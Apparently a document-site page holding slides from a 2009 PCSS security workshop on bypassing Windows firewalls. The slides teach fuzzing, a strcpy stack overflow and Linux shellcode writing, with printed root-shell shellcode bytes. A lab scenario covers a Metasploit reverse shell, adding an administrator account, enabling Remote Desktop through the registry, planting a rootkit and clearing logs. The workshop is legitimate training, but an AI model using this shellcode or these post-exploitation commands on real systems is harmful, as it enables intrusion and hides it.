Podobne dokumenty
platforma zapewniająca usługi wirtualizacji

Zabezpieczanie platformy Windows Server 2003

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Zespół Bezpieczeństwa PCSS. 36. Spotkanie Poznańskiej Grupy.NET

Omijanie firewalli w systemach Windows

Poznańskie Centrum Superkomputerowo - Sieciowe

Fuzzing OWASP The OWASP Foundation Piotr Łaskawiec J2EE Developer/Pentester

Return-oriented exploiting

Tomasz Nowocień, Zespół. Bezpieczeństwa PCSS

Błędy łańcuchów formatujących (format string) by h07

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Architektura komputerów

Spis treści. Wskazówki prawne Art Art Art. 268a Art Art. 269a Art. 269b... 23

Aktualny stan i plany rozwojowe

Programowanie w asemblerze Uruchamianie programów

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011

Przepełnienie bufora i łańcuchy formatujace

Usługi ze wsparciem Centrum Innowacji Microsoft. Jerzy Mikołajczak, Marek Zawadzki

CPU. Architektura FLAGS Bit: dr Paweł Kowalczyk; DPTNS, KFCS UŁ. SI 16 bit. 16 bit. 16 bit.

Buffer Overflow (art. 2) by h07

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Zabezpieczanie platformy Windows Server 2003

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Tworzenie aplikacji Web Alicja Zwiewka. Page 1

Bezpieczne strony WWW dla edukacji, organizacji non-profit i uŝytkowników indywidualnych.

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Pobieranie argumentów wiersza polecenia

Poziomy wymagań Konieczny K Podstawowy- P Rozszerzający- R Dopełniający- D Uczeń: - zna rodzaje sieci - zna topologie sieciowe sieci

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Parę słów o przepełnieniu bufora.

Analiza malware Remote Administration Tool (RAT) DarkComet

Programowanie Niskopoziomowe

Kim jesteśmy? PCSS i MIC. Paweł Berus, Zespół Bezpieczeństwa PCSS

RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )

Dokonaj instalacji IIS opublikuj stronę internetową z pierwszych zajęć. Ukaże się kreator konfigurowania serwera i klikamy przycisk Dalej-->.

Szkolenie autoryzowane. MS Administracja i obsługa Windows 7. Strona szkolenia Terminy szkolenia Rejestracja na szkolenie Promocje

Szkolenie autoryzowane. MS Instalacja i konfiguracja Windows Server Strona szkolenia Terminy szkolenia Rejestracja na szkolenie Promocje

Bash - wprowadzenie. Bash - wprowadzenie 1/39

PROGRAMOWANIE SYSTEMÓW CZASU RZECZYWISTEGO

Small Business Server 2008 PL : instalacja, migracja i konfiguracja / David Overton. Gliwice, cop Spis treści

Kurs OPC S7. Spis treści. Dzień 1. I OPC motywacja, zakres zastosowań, podstawowe pojęcia dostępne specyfikacje (wersja 1501)

KONFIGURACJA INTERFEJSU SIECIOWEGO

Instalowanie i konfigurowanie Windows Server 2012 R2

Win Admin Replikator Instrukcja Obsługi

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Zabezpieczenia serwerów internetowych. Jakub Tomaszewski Zespół Bezpieczeństwa Poznańskie Centrum Superkomputerowo Sieciowe

Wykład 2: Budowanie sieci lokalnych. A. Kisiel, Budowanie sieci lokalnych

Spis treści. Dzień 1. I Wprowadzenie (wersja 0906) II Dostęp do danych bieżących specyfikacja OPC Data Access (wersja 0906) Kurs OPC S7

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011

Architektura komputerów

Wstęp do programowania

Laboratorium - Przechwytywanie i badanie datagramów DNS w programie Wireshark

Zabezpieczanie platformy Windows Server 2003

Programowanie niskopoziomowe

002 Opcode Strony projektu:

Tworzenie oprogramowania

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Podstawy informatyki

Podstawy programowania. Wprowadzenie

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Budowa aplikacji ASP.NET z wykorzystaniem wzorca MVC

Assembler w C++ Syntaksa AT&T oraz Intela

Linux vs rootkits. - Adam 'pi3' Zabrocki

Serock warsztaty epuap 28 październik 2009 r. Sławomir Chyliński Andrzej Nowicki WOI-TBD Szczecin

1. Tworzenie nowego projektu.

Wstęp do Programowania, laboratorium 02

U M L. System operacyjny Linux zagnieżdżony w zewnętrznym systemie operacyjnym (Linux)

Krótkie wprowadzenie do korzystania z OpenSSL

Język ludzki kod maszynowy

Programowanie w asemblerze Aspekty bezpieczeństwa

Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.

Optymalizacja szelkodów w Linuksie

ZAŁĄCZNIK NR 3 OPIS PRZEDMIOTU ZAMÓWIENIA DOTYCZĄCY WDROŻENIA PLATFORMY ZAKUPOWEJ

System kontroli dostępu ACCO NET Instrukcja instalacji

Kancelaria Prawna.WEB - POMOC

Programowanie Niskopoziomowe

Szczegółowy opis przedmiotu zamówienia:

Wprowadzenie 5 Rozdział 1. Lokalna sieć komputerowa 7

7. zainstalowane oprogramowanie zarządzane stacje robocze

REFERAT PRACY DYPLOMOWEJ

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

Instrukcja konfiguracji funkcji skanowania

Wstęp... ix. 1 Omówienie systemu Microsoft Windows Small Business Server

Sposób funkcjonowania

Znak sprawy: KZp

MONITOROWANIE WINDOWS Z NETCRUNCHEM 7 P A G E 1

Automatyczne testowanie infrastruktury pod kątem bezpieczeństwa. Leszek Miś IT Security Architect RHCA,RHCSS,Sec+ Linux Polska Sp. z o.o.

Stałe i zmienne znakowe. Stała znakowa: znak

Obsługa plików Procesy

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Ćwiczenie nr 6. Programowanie mieszane

PROGRAMOWANIE NISKOPOZIOMOWE

OCHRONA PRZED RANSOMWARE. Konfiguracja ustawień

UNIX: architektura i implementacja mechanizmów bezpieczeństwa. Wojciech A. Koszek dunstan@freebsd.czest.pl Krajowy Fundusz na Rzecz Dzieci

Wykorzystanie wirtualizacji w kluczowych scenariuszach data-center

Laboratorium nr 1 Skanowanie sieci i ataki aktywne

ABC systemu Windows 2016 PL / Danuta Mendrala, Marcin Szeliga. Gliwice, cop Spis treści

Transkrypt:

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1

Agenda 10:00 Rozpoczęcie, powitanie uczestników, informacje organizacyjne 10:05 Poznajmy się: czym jest PCSS, Zespół Bezpieczeństwa PCSS i MIC? 10:05 Trochę informacji technicznych 10:15 Łamanie zabezpieczeń w praktyce 11:30 Przerwa 11:45 Lokalnie i zdalnie... 12:00 Firewalle - ćwiczenia w formie scenariusza 13:30 Na zakończenie garść przydatnej wiedzy i dyskusja 2

Informacje organizacyjne Ankieta Krótka i anonimowa Pomoc na przyszłość Lista obecności Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniach Prezentacja dostępna na stronach WWW http://mic.psnc.pl http://szkolenia.man.poznan.pl http://security.psnc.pl 3

Kim jesteśmy i co robimy? 4

PCSS Poznańskie Centrum Superkomputerowo-Sieciowe: Sieciowe: 15 lat w październiku 2008 Operator sieci PIONIER (sieć dla edukacji i nauki) oraz POZMAN Uczestnik projektów naukowo- badawczych Główne obszary zainteresowań Gridy, sieci nowej generacji, portale Bezpieczeństwo sieci i systemów http://www.pcss.pl 5

Zespół Bezpieczeństwa PCSS Dedykowany zespół istnieje od 1996r. Podstawowy zakres prac Zespołu Zabezpieczanie infrastruktury PCSS Zadania bezpieczeństwa w projektach naukowo badawczych Szkolenia i transfer wiedzy Badania własne Audyty i doradztwo w zakresie bezpieczeństwa IT Niektóre badania z ostatnich lat Raport o bezpieczeństwie bankowości elektronicznej (2006) Bezpieczeństwo serwerów WWW Apache i MS IIS (2007) Bezpieczeństwo sklepów internetowych (2008) http://security.psnc.pl 6

Centrum Innowacji Microsoft Pierwsze w Polsce MIC Centrum Bezpieczeństwa i usług outsourcingowych Partnerzy Microsoft Corporation Poznańskie Centrum Superkomputerowo-Sieciowe Sieciowe Politechnika Poznańska Otwarcie: 1.06.2006r. http://mic.psnc.pl 7

Wybrane zadania MIC w 2009 Nowe obszary badań (od I 2009): Interoperacyjność systemów i technologii Wirtualizacja systemów Wysokowydajne przetwarzanie komputerowe (HPC) m.in. udział w programie HPC TAP Doroczna Konferencja MIC - 16 kwietnia 2009, 3. edycja 8

Szkolenia MIC I półrocze 2009 Interoperacyjność 27.05: Zastosowanie technologii Silverlight... 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i klastrowania 23.06: Bezpieczeństwo heterogenicznej platformy hostingowej(są jeszcze ostatnie wolne miejsca) Bezpieczeństwo 18.06: Omijanie firewalli w systemach Windows warsztaty BYOL dla specjalistów bezpieczeństwa 9

Szkolenia MIC II półrocze 2009 Interoperacyjność Windows HPC Server Exchange Labs jako uniwersalna platforma e-mail Bezpieczeństwo Bezpieczeństwo aplikacji ASP.NET MVC Bezpieczeństwo kontrolera domeny Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu Interoperacyjność ) Zachęcamy do zgłaszania w ankietachpropozycji tematów na kolejne spotkania! 10

Informacje techniczne (1) System Linux Live + changes User: root / Passwd: toor Wifi - pcss-warsztaty wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf wpa_supplicant -i<interface wifi> -cwpa.conf 11

Informacje techniczne (2) Adresacja Brama 192.168.1.1 DNS 192.168.1.1 Serwer do ćwiczeń 192.168.1.7 Adres kliencki: 192.168.1.1XX ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0 ip route add default via 192.168.1.1 12

Architektura środowiska System Centralny XP_V1 XP_V2 XP_V3 XP_Vn... Wifi L1 L2 L3 Ln... 13

Łamanie zabezpieczeń wpraktyce Wyszukiwanie podatności Eksploitacja błędów Shellcoding

Wyszukiwanie podatności 15

Ręczne wyszukiwanie błędów Wartości niezgodne ze specyfikacją poza zakresem inne dane niż oczekiwane (float/string) znaki specjalne losowe

Automatyczne szukanie luk Fuzzer Stosunkowo łatwo napisać prosty fuzzer Fuzzing bardziej złożony rozbudowane dane wejściowe (np. jpeg) obsługa debuggera analiza wyników i dostosowywanie testowanych danych

Rodzaje fuzzerów Mutacyjne Generacyjne Ewolucyjne

Wady fuzzingu Nie znajduje błędów logicznych Nieokreślony czas znalezienia podatności Wraz zewzrostemskomplikowaniaprogramupostępuje wzrost złożoności fuzzer'a

Jak napisać prosty fuzzer (1) Analiza programu: na jakich danych operuje? skąd je bierze? Modyfikacja danych wejściowych różne znaki w parametrach różne długości parametrów modyfikacja przetwarzanych plików modyfikacje paczek sieciowych Najlepszewynikiosiągamy, gdymamydostępdo maszyny, na której znajduje się testowana aplikacja i jeżeli testujemy program w debugerze(olydbg, gdb), który pomoże w analizie błędu

Jak napisać prosty fuzzer (2) Po ustaleniu,co można zaatakować,czasemwystarczy... krótki skrypt w bash'u: #!/bin/bash #very simple fuzz x=1 C='i' licz=1 while [ $x -le 10 ]; do a=`./hello $C` wyn=$? if [ $wyn = 139 ] then echo "SEGV dla ilosci:"$licz exit fi C=$C'i' licz=$((licz+1)) done

Przykładowe znane fuzzery -Linux clfuzz.py napisanywpythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuidna błędy przepełnienia w linii komend zzuf działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów SPIKE to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typu Peach SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych

Przykładowe znane fuzzery -Windows AxMan webowy fuzzer oparty o mechanizmy ActiveX,napisany przez H.D. Moore a. Peach SmartFuzzer,zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnych

Bardziej złożone fuzzery W Pythonie dla Linux'a: http://192.168.1.7/fuzzing/fuzz.py W C++ dla Windowsa: http://192.168.1.7/fuzzing/fuzz_c.cpp

Ciekawostka Mozilla udostępnilaw 2007r JSfuzzer, którymtestowała Firefoksa. Dzięki temuznalezionozajegopomocą280 błędów, z czego27 można było wyeksploitować http://www.cgisecurity.com/2007/08/mozilla-releases-javascript- fuzzer-at-blackhat-.html

Exploitation 0x41414141 26

Pierwszy kod #include <unistd.h> char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA"; int main(int argc, char **argv) { } execl("./crackme", "./crackme", arg, NULL); return 0;

Stos Last In First Out Rośnie w dół Wątki posiadają odrębne stosy Operacje PUSH i POP

Rejestry i adresy ESP wskaźnik szczytu stosu, EIP wskaźnik instrukcji, EBP rejestr bazowy, EBP + 4 = RET RET adres powrotu,

0x41414141 (gdb) f 3 #3 0x41414141 in?? () (gdb) i reg eax 0x0 0 ecx 0xffffffff -1 edx 0x280e8c4c 672042060 ebx 0x3 3 esp 0xbfbfec48 0xbfbfec48 ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260 edi 0xbfbff7bc -1077938244 eip 0x41414141 0x41414141 eflags 0x286 646 cs 0x1f 31 ss 0x2f 47 ds 0x2f 47 es 0x2f 47 fs 0x2f 47 gs 0x2f 47

Rejestry General Purpose EAX, EBX, ECX Segment Pointers CS, DS Control EIP

RET -adres powrotu Gdzie jest nasz shellcode? export shellcode $(perl -e 'print A x100) Gdzie jest stos? echo 0 > /proc/sys/kernel/randomize_va_space Jak trafić? x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x 90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90

Podatny kod #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *string) { char buffer[1024]; strcpy(buffer, string); return 1; } int main(int argc, char *argv[]) { bof(argv[1]); return 1; }

Ochrona pamięci Stack cookies Address Space Layout Randomization SafeSEH Heap Protection Data Execution Prevention

Separacja w Windows User mode ring 3 Kernel mode ring 0

Stałe błędy programistyczne (1) Stack Overflow np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3

Stałe błędy programistyczne (2) Niedostateczna walidacja adresów pochodzących z user-mode np. nadpisujemy wskaźnik do danej funkcji ring 0 adresem wskazującym na ring 3

Stałe błędy programistyczne (3) Non-executable stack DEP Return to libc przekierowanie sterowania do funkcji,a na stosie znajdują się parametry system() - uruchamia proces

Shellcoding 39

Definicja kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy brak statycznych odwołań Pomijamy,jeśli tylko sięda,znak -> NULL xor X X http://192.168.1.7/shellcoding/

Narzędzia gcc -kompilator, as - assembler, ld -linker, gdb - debuger, objdump (-x, -d, -D) > disassembler+ strace vi i inne

Wrapper kodu assemblera (test.c) char shellcode[] = ""; //nasz shellcode w tablicy globalnej int main (int argc, char **argv) { int (*ret)(); //wskaznik funkcji ret = (int(*)())shellcode; //wskazujemy nasz shellcode } (int)(*ret)(); return 0; //wywolanie jak funkcji

Budowanie shellcode'u krok po kroku 1. Co ma robić shellcode? 2. Definicja funkcji przez niego używanych, 3. Wywołania systemowe potrzebnych funkcji, 4. Budowa kodu assemblera, 5.Kompilacja do binarki, 6. Deassemblacja, 7. Budowanie shellcodu, 8. Test.

Przyklad (1) exit(0) Funkcja exit() Definicja -> man 2 exit http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit void _exit(int status);

Przyklad (1) exit(0) syscall grep NR_exit /usr/include/asm/unistd_32.h #define NR_exit 1 grep NR_exit /usr/include/asm/unistd.h grep NR_exit /usr/include/asm/unistd_64.h

Przyklad (1) exit(0) As exit.s -o exit.o ld exit.o -o exit./exit echo $? objdump -d exit shellcode: \x31\xc0\xb0\x01\x31\xdb\xcd\x80 kilka testów (test_exit.c)

Przyklad (2) Hello World Funkcje exit() i write() Definicja -> man 2 exit http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit void _exit(int status); Definicja -> man 2 write http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write ssize_t write(int fd, const void *buf, size_t count);

Przyklad (2) Hello World syscall grep NR_exit /usr/include/asm/unistd_32.h #define NR_exit 1 grep NR_write /usr/include/asm/unistd_32.h #define NR_write 4

Przyklad (2) Hello World Własności i ich konsekwencje brak NULL i statycznych odwołań call call wrzuca następującą po niej wartość(standardowo adres powrotu) na stos i przenosi kontrolędo miejsca, ktorejest jej parametrem.

Przyklad (2) Hello World as hello.s -o hello.o ld hello.o -o hello./hello objdump -d hello shellcode: "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\ "\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\ "\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\ "\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a" test (test_hello.c)

Przyklad (2) Hello World Uwaga: H e l l o, W o r l d! \n 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a czyli: \x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a

Przyklad (3) /bin/sh + root Funkcje setreuid() i execve() Definicja -> man 2 setreuid http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid int setreuid(uid_t ruid, uid_t euid); Definicja -> man 2 execve http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve int execve(const char *filename, char *const argv[], char *const envp[]);

Przyklad (3) /bin/sh + root syscall grep NR_setreuid /usr/include/asm/unistd_32.h #define NR_setreuid 70 grep NR_execve /usr/include/asm/unistd_32.h #define NR_execve 11

Przyklad (3) /bin/sh + root execve("/bin/sh", *"/bin/sh", (char **)NULL); execve("/bin/sh", - ciąg do wywołania (bez NULLi!) *"/bin/sh", -adres tego ciągu (char**)null) -NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh) ciąg w pamięci wygląda tak: /bin/shnxxxxyyyy gdzie N ma wartośćdokładnie \0 (koniec ciągu), czyli dla nas zakazaną nie możemy mu nadać wartości NULL, ale możemy go XOR-ować XXXX (4 bajty) to adres adresu naszego ciągu YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)

Przyklad (3) /bin/sh + root As shell.s -o shell.o ld shell.o -o shell./shell (?) shellcode: (?)

Przyklad (3) /bin/sh + root Segmentation fault!!! Dlaczego??

Przyklad (3) /bin/sh + root as -g shell.s -o shell.o (przydaje się, ale nie jest konieczne) ld shell.o -o shell objdump -x shell.text ma atrybut readonly :/ ale.data :D

Przyklad (3) /bin/sh + root as shell_new.s -o shell_new.o ld shell_new.o -o shell_new./shell_new objdump -d shell_new "\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\ "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\ "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\ "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" test (test_shell_new.c)

Co dalej? minimalizacja długości shellcody bez konkretnych znaków shellcody tylko ze znaków drukowalnych

Przerwa 60

Lokalnie i zdalnie...

Szukanie błędów Większy problem ze zdefiniowaniem faktu błędu Niejednoznacze odpowiedzi od serwera Utrudnione debugowanie

Exploitowanie Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi Brak znajomości środowiska docelowego

Shellcoding Wymagana jest dokładna znajomość systemu zdalnego Przy założeniu dokładnie tych samych funkcjonalności shellcodu złożoność problemu jest w przybliżeniu identyczna

Firewalle -ćwiczenia wformie scenariusza

Wprowadzenie Wiedza początkowa agresora: Cel znajduje się pod adresem 192.168.1.7, Cel wykorzystuje system Windows, Cel jest chroniony przez co najmniej jeden firewall

Rozpoznanie maszyny Skan adresu 192.168.1.7

Podpowiedź (!) Poszukiwany otwarty port: 133XX

Rozpoznanie reakcji na porcie Skanowanie Próby połączeń Testy reakcji na pakiety

Fuzzing na rozpoznany port Zadanie: Napisać (odszukać, przystosować) fuzzera i zaatakować port

Podpowiedź (!) http://172.168.1.7/fuzzing/fuzz_lan.py

Reakcja usługi na danym procie Analiza wykonanych czynności ireakcji serwera

Ponowne rozpoznanie portów Skanowanie

Podpowiedź (!) Poszukiwany otwarty port: 144XX

Ponowne rozpoznanie usługi rozpoznanie atak explitowanie przez znane luki

Podpowiedź (!) Metasploit BadBlue windows/shell/reverse_tcp

Dalsze działanie (1) Dodanie konta z prawami administratora

Podpowiedź (!) net user janek janka /add net localgroup net localgroup Administratorzy janek /add

Dalsze działanie (2) Otwieramy dostęp przy pomocy: Windows XPRemote Desktop

Podpowiedź (!) Weryfikacja ustawień: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fdenytsconnections Zmiana ustawień: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfdenytsconnections /t REG_DWORD /d 0x0

Dalsze działania + czyszczenie (1) Komunikat firewalla usunięcie (?) Umieszczenie programu typu rootkit Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)

Dalsze działania + czyszczenie (2) Czyszczenie logów systemowych Usunięcie dodanego konta Wyłączenie Remote Desktop

Założenie (!) Atak przeprowadzamy z sieci lokalnej, ale Internet jest udostępniony przez inny interfejs, na którym dostępny dla TCP jest jedynie port docelowy 80-ty (dodatkowy system firewall dla styku sieci lokalnej i Internetu)

Rootkit -> Podpowiedź (!) WinAPI DllInjection lub IP over DNS

Schemat wyjścia rootkita Proces aplikacji - hosta FW Wątek podczepiany

Na zakończenie garść przydatnej wiedzy idyskusja

Shellcody, rootkity, exploity gdzie ich szukać? INTERNET!!!!...czego dowodzą dzisiejsze warsztaty!

Ciekawostka analiza exploita Kerio Personal Firewall v2.1.4 remote code execution exploit http://192.168.1.7/exploit/kpf214.txt

Analiza DllInjection schemat (1) NIE Start Znaleziono hosta? TAK Wstrzyknij kod http://192.168.1.7/winapi/kod.tar.gz

Zabezpieczenia!? Aktualizacja, aktualizacja, aktualizacja (!) Godny polecenia producent oprogramowania Dbanie o czystość własnego systemu Świadome użytkowanie komputera

Dlaczego nacisk na atak, a nie na obronę???? Dyskusja! 91

Informacje kontaktowe Autorzy prezentacji bluerose@man.poznan.pl whly@man.poznan.pl mateusz@man.poznan.pl Centrum Innowacji Microsoft PCSS http://mic.psnc.pl mic@man.poznan.pl http://www.pcss.pl Zespół Bezpieczeństwa PCSS http://security.psnc.pl security@man.poznan.pl 92

Pytania i dyskusja, propozycje? Dziękujemy za uwagę! 93